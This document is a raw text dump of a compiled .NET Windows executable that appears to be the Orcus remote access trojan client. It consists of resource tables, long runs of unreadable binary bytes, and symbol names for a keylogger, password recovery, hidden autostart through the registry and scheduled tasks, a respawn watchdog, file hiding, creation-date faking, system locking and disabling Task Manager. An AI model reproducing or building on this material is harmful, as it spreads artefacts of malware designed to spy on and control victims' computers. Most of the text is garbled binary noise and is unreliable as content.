!This program cannot be run in DOS mode.
`.rsrc
@.reloc
#ffffff
_ 3
_ 3
+# &(]
* @* 0* *
#ffffff
#ffffff
#333333
* * @*
/ \o"
-S+nsT
\ /o"
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj
QSystem.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj
QSystem.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aBj
QSystem.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
fSystem.Drawing.Icon, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
<supportedRuntime version="v4.0" />
<supportedRuntime version="v2.0.50727" />
<supportedRuntime version="v4.0.30319" sku=".NETFramework,Version=v4.0,Profile=Client" />
</startup>
</configuration>@
QSystem.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Icon
IconData
IconSize
System.Drawing.Size
System.Drawing.Size
height
lSystem.Resources.ResourceReader, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
PADPADP
`Lsh15
umbG*6]
Z\{hCL
cGg^JH7
[<Bo m
\{-\/
in<L}_
|))HJ6e6
T>t)M:8
elY=~F
@oK$d8
RtIIZv>Z
Q&a#&j~
iI^sBb,A&)y~Un
RUg(a
]x3das
2'.fmY4
,H@R:Gw
NhgR;-c
v+^=+z
khjt]-
Xb?5A|
Om%-Un&
>;" :im
s!J:Tqu
"bpIeG
O"#Vd}n
<o.Yl3,sE
=y8{W<
;'Dy)<
[>gxMhi`'
^EBuP9
#t|%;c
"CS|(W
>b~$HL}|j
'k^ Ao
lrh>.n5
bZ,m%r
Apw+R"
.P j[[]
|%RJkX
d&)Eu[
"Sg;ke
.Bm&E8
p.]<5W[\N&#
rbUC6V
~X%mT
pPSxM,
!>"Upd
rQ)lbv
>:/X08
+0a%e5
)3Se,`
}aFW(2sfn
7,f30'
IJQBR:
xcH3/e
S"qS"rK
*$OBZ'
kR+cXr
BWCk4&
dJmh;n
3#,%tgX
v,\^7w
wITE]-
N74tzU
#tv|/l
]G~gOG
U+Jf<;
^(PsB/H
_-P[BM
sOn^tc{NO
cD_!z3
}q8lON
z5Ru]G
</KSPz?
^/:{~ zV~K
vk<KWNJ
N9sfvf
ve4gM
-1HsdK
Y.Og::
hFU^@=8U
ZJYr@ i
4W*]f!
ufBS8}
y>@>;Y
_9bmQ+
iyLl@c\
OgY?$l
7sj;a`
mf-o@p;
w3Q^{]y
m4Kgtm
}0Ap}h
'z3 =x
1j40%'
/\#x6;B#x6[
jDW,34
hE&P=N
%@k8}W
QH8R/s*
ht<LQk
wvXpO5
SZqkBs8
4l~cZ;:
cRDmmk
r`uc9?
@ O,5J
+;Bx{4
y$Y*O~ZV9?-YJ
$|]* G*9zHw
l*si>+
}ZmHk4HI
YDfWta
XsIMFK7]%98u
F\.^2Er
;fwp\I
kWbXSUbX
d?e$8@
h/[ F{
UJ4yzG
IoPF,\-
Cf0f0~
A6@6A6
hH'HgH
B* ^\s=
/8Ap"o
0E)d\)
Snb/)7
t'qw)q
a;ADHS$l
;{H aq
a=1:=q"
9IlvrqRp
d63#?'#
-#%99))%
33'wNN0
xFqkkV
`WhyMc
]Q]a-/
loyuk?u
[6mVFL
:I#Ay9
*LA} P
,=h"(f
kVn`Rtp
rzC-9'qjIm
yuB+t~
Wa=Cx)5~
aXwa`J
k zCXk
>IR[~Z
Y~D+-^
XQTSCQ
_V\;,3
,g<'SW
~VtkOma
4(6&`<P
>bd`rc
JSP[jS
Gms<*)
*"uQ-O
MY)S 2
t+Qe/>
3@(LP0<
6JD'M1@
cCO`Qan
)o< .1
%=j0j(r
\hH4OS
,kT57U
wvR$Ms
mW-TR8
hsZagIj
A{#<@Q
| TDX5w
CHVn1s>
z4q>[F
]p?,2<0
E2[_4N
`<N@ot
BBmRq
S7Y}WS
C,Kz"l
l%L0>`C
/9HY?"
DF5Z*x
j624>422
Tzjjl0
Dfl,95
0R2xX~
pzxlbz*
djxmrz|
l9[HSnE
Nvjtz~rrbdp|xdx
58<6921
f`p=:z
bvfa|lzzrplj
mnvapzzb|p~bvadbtavaF
0<=89;=58
81<=+)Gf
8?2>289>7N
8127168
0<186:<68
rvr09=7;:7?J
.}|tr~d698
lrdplfxfpz.
I?H@R,d
cE9'%c"
MvBBa[
1-8T]n
dA@>2@b]
ULWw ,
lY8Ef]]"
|LNiQ&
dJcw0mzo
2a}pjN
;Vw];80
t,N1!?
*b[(Z%
lGdqd7e
<`C){]z3
EqDN? >Bj
V*YHRy
+Yoak${%
?2)"+C_ge
VVgbO\
3d; Kv
L)( 9e*
KnEi#q}a
Lk*3pm3
,T[(7O
.(k,"U_Za
Re[Hou!
,CzI)2sM
s\Ek+!%4
\>;P"P$"
=eZ(F
j!8hnU
r&;~4+
ZSmZcp(B6
M~L~BAaL|aKE
ygp^Zpe
|WLHs"
x+h}2Hk]
FW$OMQ
v2};'t
r~Y{Oi
v9}\<?
O?^wmx
.W#+:w9v
sVu_25
``:XbD
Z:LQ--
[}GQ-x
];cn|u)
UQWDDEDD
,p6s]p
8QK$*b.
d=8YW$
k=ZZck
w ?s8>
{Ovt4V
/(,{9>
nFFs)#
\viA*|If
qn%"&n
hQ}N;?
Y!}@fF,
@QbeIG
[j85Pv
X{4~J8=
PjuFR(
MBO,Ak
#4PUz(
GbzUxE
's*xU.q
Y"zjF=%
S<"`2,
"B*B"RT
z4RZqq v:=
_D@E@DPEPDHEHD
,Hwd,fn
"CDDEDD
SDLU1U
#\*\"l
m(QE'T
<m O y
Xs)t+-
{zzzfB2p
hQMM![W
rL7g!UA
N-BZgxo
S(ihB=#Q
^ID=E%
%W\^CI
Y.-G}H
P;>& /
:@Is3j
d()V1U
lrd==f69
g/)/:e/
lu"[=;
*qX`YG
S6r-:4R
l$0CMy
seU&|??W
|LxGX!#
,G:EY-':EY-g9ZV.x
`*6#R}
HX13)o
!R-aju
,"U2S<
kuqu2Y
O!;T'&w
5?`#\#
~63kuR
[=WlY+m
VTPP@T
s#~+xQ
,RCnt2v5E
jO7ziC
@7Z2/W,
9,WlW p
x7Z;<W8U
7j1s.E
F7:2c!E;
gG-cWj
m<2][^id
RqL\F_
oL_ ~Fka
WGm9e{
L{q_ep<
[zgk3n
>S]<|,
riu|VV
kQvPN@Q
tP.Q.W
9Ai$ V
\(W+%r
3?Tg'/b
./9qW.
qRA;?ob
D:0uOK
~/^~9e>
v#)>L~^p_-
]eE\,Z
MIZKr*
T^I*b
8""20"
E@DDDDD
:Qxx@w<>
w@aUV>
;]k7ZaW
PY6|<R
'IgjkaK
^l^n7jaK+
IiiK|5
.G.EC^
w;hj<$
`:h.%T
`$Op8G0
i(M22}
m&6}Mw
&u ?z&"
|@PjHK-D
kg*s'P
w7z;E
s"Ns|G
V(E%9tC
8JgX'|
pF~8-w
"_-E)gJ
2dnpZ`
KwIQhNK~D
pW6CPw
bO24c"
5sC *{ula
Y\OiN2
!-c!Yf
}vfvue~en~b
vjsr/eq
~,E2nh%
uNXfO<;
g|bq~V
xNw?]FjX
BD?tn8
]+f=dy2
^VkpEjO
%~wu=4
P]]\w!
Ja0FfD
]^A]hdos
ny8`hS
hvlJ\{
,ZVXU*i
~eWZA
doRAqn\
M(N3tG
1+]uf>
mDm(lA
'~j'=QdX6
gG:9Lv
I'8\X +
>},Kz(
lQsV:AT
WUvI6<
Y$ruo"
owIIuC`
ZcrlvP
GR?Hulyp>
b?7/.8=
*wHJH&
=E~,HR
]uoGT|@
3eI-1T
yI 49R
G$G/w'KX
/[nir^
KbWDol
z2%_"'
hW0;7
-nSiJEy
7}kFD=#
gkn8uQ
BMa+* ^
]1SKo
ho%f>8
t ;I$F
-?[ _?
)t#7*
q#C`6N
Hzb>>P
}PxVLe
vE OEw$
xGB(`%B<J
Fuq3;Q
7B{_pC5|
Mxe 8A
-#v4i5
L#Uzkim
fj`L,Y
yIv}r<
2848bK
0'U\{p
g{@~pv'0Y
t'O\ 1Ji
f#mv_
,:t6<r
.ovcs?
;:7B\3
,t%m8&&
gh#_bT"Y7UEG
/e@=,$
2}lAxn
JLN0[
Td#Js!
>f^d4z
"2"S8TN^
hWVe$m
@'^|d5q
:uFW81
O_Gp$_
LS&hf7
=<d9|b
,G,a J
lkdk6i4
3;w \r
{D2{P;
%QV%:F
,U[Eho"
k%:}}S
dPAAQA
R #[Hy
.' =kcb
qbRNnd
xMT{IS.
(h+!N{-h
S<W7:!A
dZ82NB
b7DTmE
L;QbS)C
!;3Z:v
5-7R!M
"93SHty
E`ed@de
Kxf^<U
(%b2w#
;B]@ )DU
KtU?,>
ZZZ]\]\
2kAeLN
8vcqiaYY
uTIiAe
S6*9!gIU
rFiQ5m#
j~iY7Z
EP`uUQM
oUUWTR
MG.HFf
*mQ}{c
d6cMF"ak6
s:2.}m:
}N_@5c0
HmT5B^
Ul^ocC
PHuD%c]
q+nM^:N
.ie=t4
g^?f>g
PR\SQX
]R^Sb)
FBVe,O
a;h9k}
5A^`9)'
d+FRvZ(
Rfp$ A
1G2oHa
DPV\Hv
DnWxoS`
\gJ.[&
zo(8M4 j
.;(*iq)h
8/(14`
)J+Ddx
1"67&S
]:F\m0g<
T)P%V]j
"Fuiw~5
_DTvC4
/+B>h>
<]MiHn-#
VljK kk
Mcw^[(D;
O8[.M=
YFKIf
LeMJg8
3Dp6x4
vnr .Wi
!S\MW
Q7B-n8`
Nonlj<
T3PF5o
=,em)Q
J ,WpG
BPpUAJ[
L[`S{|
^R-f-R]
1JIN_(
k/B~I`
Tc6 F8
kE[S93
xzh\AG2
dB6b$e#
D?ngi&
Ab0=0(PR
~\X95Z
u7e(D%R
'A\1dX
#_~tK\
},f,R_
JtB<0w
Yyo&a
En7R3PZ
,Ean7V
lF13'Y
%b#Z"z
@N%<zrgA
TaM(~7
qTDVoxE
z9S RWltpm
zX<b*"mW
=R/%$h
Ml.M,t36
/8Xd}e
^4olyS
V\mb4,
<WpH8xyx9z
t$Vd[{
-?iWeU
O$^'cA
MNPS~U^
7#<B*T
1>wtn@~
/,K3g#E
-be`.Q
I$6~Hjij
1_0j4F
k~P#x-7
hm{O [
^z.,*Q
[p*l9No
qsUj~!QC
>z\P?p
2=[&II
eigHW`
^7%fn0
`a\u\N
1V1V360:
s1V360:
1V1V360:
fl`t0v3
3V160v3
2V160v3
K9oo#14
~=,tt46;8
N[,F7]
FN(*i
3F'FYud2c
-iiqa_To
g#6I $
M:lR <%a
mUM>62a
c="5iD:v`\
7}/!h?iZ
/Bj90X
`|x|-.
,>\rsy
EVT$951!
92adBFG
UARex[6
I|wU:~N
R<}4T*
;W"Umf1
#&U-f3/8
Fg+fTMS
Wb @xH
s&\h-S
7%m~Y1c_
Va*LD7
M_t;n9$
&a- <'
W4T(Mz
Xb=BS+
7}UVXW
wK?}}E
v\/!-r
f&fzfD
H"aJd\
G3bfd[
|;Q|U^
M8?UkR
R?^gz$[
;9guRdQ
*'iZ5G
;,&wp @W
6N^B(-"
l]'bye
K.Dl\`
wI1i 8
-,5#|CjC
]"ouV@
ZOEkxq
hKGo[Sco[g
KAcww4
ib7yGK/
D J`,=
W%"czW$
HJo944J
Tlp"CC0H
DRs"myP
0V5=#h
zq}''P
SwbK3($
3)+#Yk
%h#/+C
$[yW,=
.9O<&2
K~4J>8
);o;j)>j
q7X5_G
n~b`cf}
;wq8pb
i:HC;yk!
n5D+D_
d6sMCxL
fN="'u?
Orcus.Service.exe
#F{eed
35J0KUR
`kP%\<
<%CKI[
7s 5g>
M"9Yu{$H
f.Is$.
$}Q{N@
wx]10i
H\gwd@
+E"OOV
=le&J#
P-(s>c
;72af\5
Opcv(\}
s,+o<F
Orcus.Golem.exe
S+\' rFg
rC%^9 v2
qDLYs<
B%=KxSv
v4.0.30319
#Strings
&*(6(c(
/30G0Z0
3,3?3P3
5C5G5y5
?"@]@z@
A"A0A4B
E!EBEKEYEDFUF
F2GAGVG
O7PWP\PeP
V9WPWgW
XFXXXoX
[;\X\l\z\
`0`B`H`
`#aZasa
a-bGbib
d d6dVd
e)f:fsf
hLiaipi
kGloltl
m.non)o8o^pyp
|,|M|}|
}/}W}v}
&:&I&^&t&~&
&5'?'H'N(
/H1Q1k1r1
6s6v6)7?7U7
=R>y>i?q?z?
Q"RPRWRpR
\*]J][]
g/g8g$h.h1i8iYi
jFjRj7kLkUk
n0oHq@rXrqr
y$z-zfz
}6~D~M~
Orcus.exe
mscorlib
System.Windows.Forms
System
Orcus.Shared
Orcus.Plugins
Orcus.StaticCommands
System.Drawing
System.ServiceModel
System.ServiceProcess
Microsoft.Win32.TaskScheduler
System.DirectoryServices.AccountManagement
System.Management
System.Xml
DirectoryInfoEx
System.Core
starksoft.aspen
Orcus.Shared.Utilities
AForge.Video.DirectShow
AForge.Video
System.Speech
CSCore
OpusWrapper
TurboJpegWrapper
SharpDX.Direct3D9
SharpDX
SharpDX.DXGI
SharpDX.Direct3D11
Lidgren.Network
ICSharpCode.SharpZipLib
ShellLibrary
System.Web.Extensions
System.Security
advapi32.dll
advapi32
gdi32.dll
iphlpapi.dll
kernel32
kernel32.dll
setupapi.dll
shell32.dll
user32.dll
user32
User32.dll
msvcrt.dll
Srclient.dll
ntdll.dll
Shlwapi.dll
winmm.dll
Wintrust.dll
Kernel32.dll
shlwapi.dll
Orcus.Commands.TextChat.TextChatForm.resources
Orcus.InstallationPromptForm.resources
Orcus.MainForm.resources
Orcus.Properties.Resources.resources
Orcus.StaticCommands.SystemLock.SystemLockForm.resources
costura.microsoft.win32.taskscheduler.dll.zip
costura.orcus.plugins.dll.zip
costura.orcus.shared.dll.zip
costura.orcus.shared.utilities.dll.zip
costura.orcus.staticcommands.dll.zip
costura.starksoft.aspen.dll.zip
a72ad75ed32749c98c382728fe124d84
5f97a4ce2874415485ba54e63aa0deee
855724de7820472c8813b1351cd5a76d
Orcus.Service.exe.gz
Orcus.Watchdog.exe.gz
<Module>
.cctor
InstallationPromptForm
components
IContainer
System.ComponentModel
button1
Button
label1
label2
label3
label4
button2
OnShown
EventArgs
Control
IDisposable
Dispose
disposing
ComponentResourceManager
GetTypeFromHandle
RuntimeTypeHandle
SuspendLayout
set_DialogResult
DialogResult
set_Location
set_Name
set_Size
set_TabIndex
set_Text
ButtonBase
set_UseVisualStyleBackColor
set_AutoSize
FontStyle
GraphicsUnit
set_Font
FromArgb
set_ForeColor
set_AcceptButton
IButtonControl
ContainerControl
set_AutoScaleDimensions
set_AutoScaleMode
AutoScaleMode
get_White
set_BackColor
set_CancelButton
set_ClientSize
get_Controls
ControlCollection
set_FormBorderStyle
FormBorderStyle
ResourceManager
System.Resources
GetObject
set_Icon
set_MaximizeBox
set_MinimizeBox
set_StartPosition
FormStartPosition
ResumeLayout
PerformLayout
InitializeComponent
MainForm
_client
KillButton
UninstallButton
ConnectedLabel
CancelEventHandler
add_Closing
EventHandler
InstallBuilderProperty
Orcus.Shared.Settings
get_Install
set_Enabled
client
Form1_Closing
CancelEventArgs
sender
get_IsHandleCreated
MethodInvoker
Invoke
Delegate
_client_Disconnected
IPEndPoint
System.Net
TcpClient
System.Net.Sockets
get_Client
Socket
get_RemoteEndPoint
EndPoint
get_Address
IPAddress
get_Port
String
Format
get_DarkGreen
Connected
get_DarkRed
Disconnected
_client_Connected
KillButton_Click
Object
ToString
MessageBox
Exception
UninstallButton_Click
add_Click
<_client_Connected>b__6_0
CompilerGeneratedAttribute
System.Runtime.CompilerServices
Program
Version
AdministrationApiVersion
ServerApiVersion
System.Threading
<AppContext>k__BackingField
get_AppContext
set_AppContext
RespawnTaskBuilderProperty
List`1
System.Collections.Generic
Enumerator
ClientController
FileInfo
System.IO
FileStream
StreamWriter
ProcessStartInfo
System.Diagnostics
ILoadable
Environment
GetCommandLineArgs
Enumerable
System.Linq
IEnumerable`1
ToArray
Contains
Thread
MutexBuilderProperty
get_Mutex
TimeSpan
WaitHandle
WaitOne
Application
EnableVisualStyles
SetCompatibleTextRenderingDefault
SetUnhandledExceptionMode
UnhandledExceptionMode
AppDomain
get_CurrentDomain
UnhandledExceptionEventHandler
add_UnhandledException
ThreadExceptionEventHandler
add_ThreadException
get_CurrentThread
CultureInfo
System.Globalization
set_CurrentCulture
ClientConfig
Orcus.Shared.Client
get_PluginResources
PluginResourceInfo
InstallationLocationBuilderProperty
get_Path
ExpandEnvironmentVariables
Equals
StringComparison
GetEnumerator
get_Current
InfluenceStartup
IClientStartup
GetType
Concat
MoveNext
DisableInstallationPromptBuilderProperty
get_IsDisabled
GetFolderPath
SpecialFolder
Combine
FileSystemInfo
get_Exists
get_FullName
ReadAllLines
ShowDialog
FileMode
FileAccess
Stream
TextWriter
WriteLine
SetAttributes
FileAttributes
RequireAdministratorPrivilegesInstallerBuilderProperty
get_RequireAdministratorPrivileges
Process
GetCurrentProcess
get_MainModule
ProcessModule
get_FileName
set_Verb
set_Arguments
ServiceBuilderProperty
Install
AutostartBuilderProperty
get_AutostartMethod
StartupMethod
ThreadStart
set_IsBackground
get_IsEnabled
get_TaskName
ApplicationContext
STAThreadAttribute
Unload
ExitThread
Console
message
ConditionalAttribute
AppContext
<>9__8_0
<>9__8_1
<>9__8_2
UnhandledExceptionEventArgs
get_ExceptionObject
Restart
<Main>b__8_0
ThreadExceptionEventArgs
get_Exception
<Main>b__8_1
eventArgs
<Main>b__8_2
OrcusApplicationContext
_unloadLock
_unloaded
<KeyLoggerService>k__BackingField
<AsyncOperation>k__BackingField
AsyncOperation
IFactoryClientCommand
add_Idle
get_Factory
PluginFactory
Initialize
IClientOperator
add_ApplicationExit
KeyloggerBuilderProperty
GetTempPath
Exists
WriteAllText
ResolveEventHandler
add_AssemblyResolve
DirectoryInfo
ResolveEventArgs
get_Name
AssemblyName
System.Reflection
Assembly
LoadFrom
CurrentDomainOnAssemblyResolve
get_KeyLoggerService
get_AsyncOperation
set_AsyncOperation
NotifyIcon
set_Visible
add_DoubleClick
ShowWindow
ClientOnConnected
Serializer
Orcus.Shared.NetSerializer
ExceptionInfo
Orcus.Shared.Commands.ExceptionHandling
Serialize
Current_ExceptionsAvailable
Monitor
Shutdown
Application_ApplicationExit
remove_Idle
AsyncOperationManager
CreateOperation
WatchdogBuilderProperty
ApplicationOnIdle
KeyLoggerService
<>c__DisplayClass12_0
window
<>4__this
<>9__1
Activate
<ShowWindow>b__0
<ShowWindow>b__1
ChangeWallpaperCommandEx
ChangeWallpaperCommand
Orcus.StaticCommands.System
CommandParameter
Orcus.Plugins.StaticCommands
InitializeProperties
StaticCommand
get_WallpaperUrl
get_DesktopWallpaperStyle
DesktopWallpaperStyle
Orcus.Shared.Commands.FunActions
IFeedbackFactory
Succeeded
Execute
IClientInfo
commandParameter
feedbackFactory
clientInfo
RequestKeyLogCommandEx
RequestKeyLogCommand
Orcus.StaticCommands.Client
Failed
PasswordRecoveryCommandEx
PasswordRecoveryCommand
PasswordData
Orcus.Shared.Commands.Password
get_ServerConnection
IServerConnection
SendServerPackage
ServerPackageType
Orcus.Shared.Connection
SystemLockCommandEx
SystemLockCommand
_desktop
_closeWindowsTimer
_closeWindowsInterval
_lockForm
get_UseDifferentDesktop
NewGuid
get_CloseOtherWindows
TimerCallback
get_RotateScreen
set_RotateScreen
get_Message
get_PreventClosing
get_Background
LockScreenBackground
get_SetToTopPeriodically
get_DisableUserInput
get_Topmost
set_TopMost
get_DisableTaskManager
StartExecute
ActiveStaticCommand
StopExecute
get_Id
HandleRef
System.Runtime.InteropServices
IntPtr
GetProcessById
get_IsActive
Change
CloseWindowsCallback
FromSeconds
UninstallCommandEx
UninstallCommand
UpdateCommandEx
UpdateCommand
SHA256Managed
System.Security.Cryptography
get_Data
FileExtensions
GetFreeTempFileName
FileShare
set_Position
HashAlgorithm
ComputeHash
SequenceEqual
Delete
set_WindowStyle
ProcessWindowStyle
UpdateFromUrlCommandEx
UpdateFromUrlCommand
WebClient
get_DownloadUrl
DownloadFile
get_Scheme
op_Equality
UriBuilder
UriSchemeHttp
set_Scheme
set_Port
get_Uri
FeedbackFactoryExtensions
ErrorMessage
get_Hash
IsNullOrEmpty
OpenRead
StringExtensions
HexToBytes
get_Arguments
SystemLockForm
Orcus.StaticCommands.SystemLock
_background
_fontBrush
_message
_preventClosing
_isRotated
_foregroundTimer
_textRectangle
Rectangle
Cursor
set_Interval
add_Tick
Brushes
get_Black
preventClosing
background
setToTopFrequently
isRotated
BringToFront
get_Handle
ForegroundTimerOnTick
OnPaint
PaintEventArgs
get_Graphics
Graphics
set_SmoothingMode
SmoothingMode
System.Drawing.Drawing2D
set_CompositingQuality
CompositingQuality
set_TextRenderingHint
TextRenderingHint
System.Drawing.Text
get_Width
get_Height
TranslateTransform
RotateTransform
get_Font
MeasureString
op_Implicit
DrawString
Screen
OnLoad
get_AllScreens
Func`2
get_Bounds
OnClosing
set_Cancel
OnClosed
SafeClose
Padding
set_Margin
set_ShowIcon
set_ShowInTaskbar
<>9__10_0
<>9__10_1
<>9__10_2
<>9__10_3
<>9__10_4
get_Primary
<OnLoad>b__10_0
<OnLoad>b__10_1
<OnLoad>b__10_2
<OnLoad>b__10_3
<OnLoad>b__10_4
ServiceConnection
Orcus.Service
_serviceConnection
<IsConnected>k__BackingField
<Pipe>k__BackingField
IServicePipe
ChannelFactory`1
NetNamedPipeBinding
set_MaxBufferSize
set_MaxBufferPoolSize
set_MaxReceivedMessageSize
EndpointAddress
Binding
System.ServiceModel.Channels
CreateChannel
IsAlive
get_IsConnected
set_IsConnected
get_Pipe
IsConnected
Current
ServiceInstaller
ServiceController
GetServices
AppConfigWriter
WriteAppConfig
WaitForExit
InstallIfNotExist
GetPath
Uninstall
MakeUnique
GetFreeFilename
FromMilliseconds
WaitForStatus
ServiceControllerStatus
StartService
serviceName
timeoutMilliseconds
<>9__0_0
get_ServiceName
<InstallIfNotExist>b__0_0
Autostarter
Orcus.Protection
AddToAutostart
filename
RegistryKey
Microsoft.Win32
TaskService
TaskDefinition
get_RegistryHiddenStart
Registry
CurrentUser
OpenSubKey
SetValue
RegistryValueKind
GetValueNames
GetValue
get_RegistryKeyName
DeleteValue
get_RootFolder
TaskFolder
get_Tasks
TaskCollection
FirstOrDefault
get_Definition
get_Principal
TaskPrincipal
get_RunLevel
TaskRunLevel
NewTask
get_Triggers
TriggerCollection
LogonTrigger
Trigger
get_Actions
ActionCollection
ExecAction
get_TaskHighestPrivileges
set_RunLevel
get_TaskSchedulerTaskName
DeleteTask
RegisterTaskDefinition
get_TryAllAutostartMethodsOnFail
inverse
Action
FindTask
IsAddedToAutostart
IEnumerator`1
get_AllTasks
IEnumerator
System.Collections
SecurityException
RemoveFromAutostart
<>c__DisplayClass1_0
<AddToAutostart>b__0
get_ActionType
TaskActionType
<AddToAutostart>b__1
<>9__2_0
<>9__3_0
<IsAddedToAutostart>b__2_0
<RemoveFromAutostart>b__3_0
Installer
ChangeCreationDateBuilderProperty
get_Directory
Create
SetRunProgramAsAdminFlagBuilderProperty
get_SetFlag
get_NewCreationDate
DateTime
SetCreationTime
HideFileBuilderProperty
get_HideFile
UnauthorizedAccessException
currentFile
RespawnTask
_isRegistered
RegistrationTrigger
get_Instance
get_Repetition
RepetitionPattern
FromMinutes
set_StopAtDurationEnd
RegisterRespawnTask
taskName
RemoveRespawnTask
newName
<RegisterRespawnTask>b__0
Watchdog
_processId
_watchdogProcess
<IsEnabled>k__BackingField
set_IsEnabled
ToList
IndexOf
get_Item
TryParse
SessionEndingEventHandler
SystemEvents
add_SessionEnding
Initizalize
WaitCallback
ManualResetEvent
GetEntryAssembly
get_Location
get_PreventFileDeletion
get_ExitCode
EventWaitHandle
ThreadPool
QueueUserWorkItem
WaitAny
KeepAlive
ProcessThread
Refresh
get_Threads
ProcessThreadCollection
ReadOnlyCollectionBase
get_ThreadState
ThreadState
get_WaitReason
ThreadWaitReason
get_HasExited
WaitForSuspension
process
WatchdogLocation
get_WatchdogLocation
WriteWatchdogFile
IsEnabled
<>9__7_0
<Initizalize>b__7_0
SessionEndingEventArgs
<KeepAlive>b__8_0
<KeepAlive>b__8_1
CommandLoadedEventArgs
<NewCommandType>k__BackingField
newCommandType
get_NewCommandType
NewCommandType
PluginLoader
_current
<AvailablePlugins>k__BackingField
Dictionary`2
<ClientPlugins>k__BackingField
<FactoryCommandPlugins>k__BackingField
<Loadables>k__BackingField
<Commands>k__BackingField
CommandLoaded
EventHandler`1
get_AvailablePlugins
get_ClientPlugins
get_FactoryCommandPlugins
get_Loadables
get_Commands
Interlocked
CompareExchange
add_CommandLoaded
Remove
remove_CommandLoaded
ClientControllerProvideEditablePropertyGrid
Orcus.Plugins.ClientPlugin
ClientControllerBuilderSettings
PluginSetting
MemoryStream
ResourceType
IBuilderProperty
Orcus.Shared.Core
get_Count
RuntimeHelpers
InitializeArray
RuntimeFieldHandle
get_Guid
get_ResourceName
GetManifestResourceStream
StreamExtensions
CopyToEx
GetTypes
get_ResourceType
Activator
CreateInstance
set_Item
get_PluginName
get_Properties
IProperty
Orcus.Plugins.PropertyGrid
Select
AddRange
get_BuilderSettings
IBuilderPropertyEntry
Orcus.Plugins.Builder
ClientSetting
PropertyNameValue
PropertyGridExtensions
get_SettingsType
BuilderPropertyHelper
ApplyProperties
InitializeSettings
LoadPlugins
plugins
Command
ReadAllBytes
get_Identifier
LoadPlugin
PluginVersion
pluginVersion
GZipStream
System.IO.Compression
CompressionMode
Decompress
AvailablePlugins
ClientPlugins
FactoryCommandPlugins
Loadables
Commands
<>c__DisplayClass22_0
clientPluginIds
<>c__DisplayClass22_1
clientController
CS$<>8__locals1
get_PluginId
<LoadPlugins>b__5
<>c__DisplayClass22_2
CS$<>8__locals2
<LoadPlugins>b__6
<>9__22_0
<>9__22_1
<>9__22_2
<>9__22_3
<>9__22_4
<>9__23_0
<>9__23_1
IsSubclassOf
<LoadPlugins>b__22_0
<LoadPlugins>b__22_1
GetInterface
op_Inequality
<LoadPlugins>b__22_2
get_PropertyType
<LoadPlugins>b__22_3
get_BuilderProperty
<LoadPlugins>b__22_4
<LoadPlugin>b__23_0
<LoadPlugin>b__23_1
<>c__DisplayClass23_0
command
<LoadPlugin>b__2
EnvironmentExtensions
Orcus.Extensions
StringBuilder
System.Text
get_SystemDirectory
Directory
GetParent
get_WindowsFolder
SystemDirectory
WindowsFolder
ImageExtensions
Bitmap
ImageAttributes
System.Drawing.Imaging
get_HorizontalResolution
get_VerticalResolution
SetResolution
FromImage
set_CompositingMode
CompositingMode
set_InterpolationMode
InterpolationMode
set_PixelOffsetMode
PixelOffsetMode
SetWrapMode
WrapMode
DrawImage
ResizeImage
height
ExtensionAttribute
BitmapData
get_Size
LockBits
ImageLockMode
PixelFormat
get_Scan0
get_Stride
UnlockBits
CompareMemCmp
RegistryExtensions
ClassesRoot
LocalMachine
CurrentConfig
RegistryHive
Orcus.Shared.Commands.Registry
ArgumentOutOfRangeException
OpenRegistry
registryHive
IsNullOrWhiteSpace
ActiveCommandInfo
Orcus.StaticCommandManagement
<PotentialCommand>k__BackingField
PotentialCommand
Orcus.Shared.DynamicCommands
<ExecutingCommand>k__BackingField
potentialCommand
executingCommand
get_PotentialCommand
get_ExecutingCommand
ExecutingCommand
ActiveCommandStopScheduler
_dynamicCommandStore
_upTime
Nullable`1
_stopSchedulerSettings
_settingsFilename
_settingsLock
UserPrincipal
PerformanceCounter
get_HasValue
AuthenticablePrincipal
get_LastLogon
NextValue
get_Now
op_Subtraction
GetValueOrDefault
get_StartupTime
ManagementObjectSearcher
ManagementObjectCollection
ManagementObjectEnumerator
ManagementObject
ManagementBaseObject
ManagementDateTimeConverter
ToDateTime
GetLogonDateTime
GetLastLogin
XmlSerializer
System.Xml.Serialization
Deserialize
GetFiles
dynamicCommandStore
CommandManualStop
SaveSchedulerSettings
get_StopEvent
StopEvent
get_Parameter
BitConverter
ToInt64
FromTicks
get_TotalSeconds
op_LessThan
get_CallbackId
FromBinary
get_UtcNow
KeyValuePair`2
ExecuteActiveCommand
activeStaticCommand
get_Key
get_Value
StopAndRemoveCommandCallback
StopCommandCallback
StartupTime
<>c__DisplayClass9_0
sessionInfo
<Initialize>b__0
<>c__DisplayClass9_1
durationStopEventInfo
<Initialize>b__1
<>c__DisplayClass10_0
<CommandManualStop>b__0
